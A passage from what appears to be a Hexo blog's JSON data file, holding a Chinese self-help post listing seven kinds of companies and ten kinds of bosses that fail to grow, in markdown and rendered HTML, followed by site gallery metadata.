说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？\n\n#### 5. 缺内脑的企业\n* 一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。\n\n#### 6. 用金扁担挑粪的企业\n* 从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。\n\n#### 7. 需要预约的企业\n* 中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。\n* 他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。\n\n### 十种做不大的老板\n> 据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。\n\n#### 没有大梦想的老板\n* 不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。\n\n#### 没有创业规划的老板\n* 这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。\n\n#### 不重视人才的老板\n* 对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。\n\n#### 完全自己摸索，从不向明师请教的老板\n* 完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！\n\n#### 观念保守思维不开放的老板\n* 看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！\n\n#### 恃己之能从不学习的老板\n* 经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。\n\n#### 畏首畏尾顾虑太多的老板\n* 风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！\n\n#### 心思太细专做小事的老板\n* 把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。\n\n#### 埋头经营从不做宣传的老板\n* 营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！\n\n#### 贪图小利不讲诚信的老板\n* 讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！\n\n### 总结\n* 从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究\n\n* 改变自己，不甘平庸，相信明天！！！","source":"_posts/七种公司永远做不大-十种老板永远不成功.md","raw":"---\ntitle: '七种公司永远做不大, 十种老板永远不成功!'\ndate: 2017-08-22 15:49:09\ntags: [哲理]\ncategories: 生活\n---\n\n### 这七种公司永远做不大\n\n#### 1. 格局小的企业\n* 1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！\n* 但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。\n\n#### 2. 心态小的企业\n> 俗话说：善奕者谋势，不善奕者谋子\n* 许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。\n\n#### 3. 短视的企业\n* 立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。\n* 其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。\n\n#### 4. 缺外脑的企业\n* 曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。\n* 说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？\n\n#### 5. 缺内脑的企业\n* 一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。\n\n#### 6. 用金扁担挑粪的企业\n* 从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。\n\n#### 7. 需要预约的企业\n* 中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。\n* 他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。\n\n### 十种做不大的老板\n> 据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。\n\n#### 没有大梦想的老板\n* 不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。\n\n#### 没有创业规划的老板\n* 这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。\n\n#### 不重视人才的老板\n* 对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。\n\n#### 完全自己摸索，从不向明师请教的老板\n* 完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！\n\n#### 观念保守思维不开放的老板\n* 看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！\n\n#### 恃己之能从不学习的老板\n* 经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。\n\n#### 畏首畏尾顾虑太多的老板\n* 风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！\n\n#### 心思太细专做小事的老板\n* 把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。\n\n#### 埋头经营从不做宣传的老板\n* 营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！\n\n#### 贪图小利不讲诚信的老板\n* 讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！\n\n### 总结\n* 从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究\n\n* 改变自己，不甘平庸，相信明天！！！","slug":"七种公司永远做不大-十种老板永远不成功","published":1,"updated":"2018-01-22T06:32:21.866Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y66002vvzqhk94r54t2","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h3 id=\"这七种公司永远做不大\"><a href=\"#这七种公司永远做不大\" class=\"headerlink\" title=\"这七种公司永远做不大\"></a>这七种公司永远做不大</h3><h4 id=\"1-格局小的企业\"><a href=\"#1-格局小的企业\" class=\"headerlink\" title=\"1. 格局小的企业\"></a>1. 格局小的企业</h4><ul>\n<li>1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！</li>\n<li>但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。</li>\n</ul>\n<h4 id=\"2-心态小的企业\"><a href=\"#2-心态小的企业\" class=\"headerlink\" title=\"2. 心态小的企业\"></a>2. 心态小的企业</h4><blockquote>\n<p>俗话说：善奕者谋势，不善奕者谋子</p>\n<ul>\n<li>许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。</li>\n</ul>\n</blockquote>\n<h4 id=\"3-短视的企业\"><a href=\"#3-短视的企业\" class=\"headerlink\" title=\"3. 短视的企业\"></a>3. 短视的企业</h4><ul>\n<li>立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。</li>\n<li>其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。</li>\n</ul>\n<h4 id=\"4-缺外脑的企业\"><a href=\"#4-缺外脑的企业\" class=\"headerlink\" title=\"4. 缺外脑的企业\"></a>4. 缺外脑的企业</h4><ul>\n<li>曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。</li>\n<li>说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？</li>\n</ul>\n<h4 id=\"5-缺内脑的企业\"><a href=\"#5-缺内脑的企业\" class=\"headerlink\" title=\"5. 缺内脑的企业\"></a>5. 缺内脑的企业</h4><ul>\n<li>一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。</li>\n</ul>\n<h4 id=\"6-用金扁担挑粪的企业\"><a href=\"#6-用金扁担挑粪的企业\" class=\"headerlink\" title=\"6. 用金扁担挑粪的企业\"></a>6. 用金扁担挑粪的企业</h4><ul>\n<li>从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。</li>\n</ul>\n<h4 id=\"7-需要预约的企业\"><a href=\"#7-需要预约的企业\" class=\"headerlink\" title=\"7. 需要预约的企业\"></a>7. 需要预约的企业</h4><ul>\n<li>中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。</li>\n<li>他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。</li>\n</ul>\n<h3 id=\"十种做不大的老板\"><a href=\"#十种做不大的老板\" class=\"headerlink\" title=\"十种做不大的老板\"></a>十种做不大的老板</h3><blockquote>\n<p>据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。</p>\n</blockquote>\n<h4 id=\"没有大梦想的老板\"><a href=\"#没有大梦想的老板\" class=\"headerlink\" title=\"没有大梦想的老板\"></a>没有大梦想的老板</h4><ul>\n<li>不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。</li>\n</ul>\n<h4 id=\"没有创业规划的老板\"><a href=\"#没有创业规划的老板\" class=\"headerlink\" title=\"没有创业规划的老板\"></a>没有创业规划的老板</h4><ul>\n<li>这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。</li>\n</ul>\n<h4 id=\"不重视人才的老板\"><a href=\"#不重视人才的老板\" class=\"headerlink\" title=\"不重视人才的老板\"></a>不重视人才的老板</h4><ul>\n<li>对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。</li>\n</ul>\n<h4 id=\"完全自己摸索，从不向明师请教的老板\"><a href=\"#完全自己摸索，从不向明师请教的老板\" class=\"headerlink\" title=\"完全自己摸索，从不向明师请教的老板\"></a>完全自己摸索，从不向明师请教的老板</h4><ul>\n<li>完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！</li>\n</ul>\n<h4 id=\"观念保守思维不开放的老板\"><a href=\"#观念保守思维不开放的老板\" class=\"headerlink\" title=\"观念保守思维不开放的老板\"></a>观念保守思维不开放的老板</h4><ul>\n<li>看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！</li>\n</ul>\n<h4 id=\"恃己之能从不学习的老板\"><a href=\"#恃己之能从不学习的老板\" class=\"headerlink\" title=\"恃己之能从不学习的老板\"></a>恃己之能从不学习的老板</h4><ul>\n<li>经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。</li>\n</ul>\n<h4 id=\"畏首畏尾顾虑太多的老板\"><a href=\"#畏首畏尾顾虑太多的老板\" class=\"headerlink\" title=\"畏首畏尾顾虑太多的老板\"></a>畏首畏尾顾虑太多的老板</h4><ul>\n<li>风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！</li>\n</ul>\n<h4 id=\"心思太细专做小事的老板\"><a href=\"#心思太细专做小事的老板\" class=\"headerlink\" title=\"心思太细专做小事的老板\"></a>心思太细专做小事的老板</h4><ul>\n<li>把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。</li>\n</ul>\n<h4 id=\"埋头经营从不做宣传的老板\"><a href=\"#埋头经营从不做宣传的老板\" class=\"headerlink\" title=\"埋头经营从不做宣传的老板\"></a>埋头经营从不做宣传的老板</h4><ul>\n<li>营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！</li>\n</ul>\n<h4 id=\"贪图小利不讲诚信的老板\"><a href=\"#贪图小利不讲诚信的老板\" class=\"headerlink\" title=\"贪图小利不讲诚信的老板\"></a>贪图小利不讲诚信的老板</h4><ul>\n<li>讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li><p>从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究</p>\n</li>\n<li><p>改变自己，不甘平庸，相信明天！！！</p>\n</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/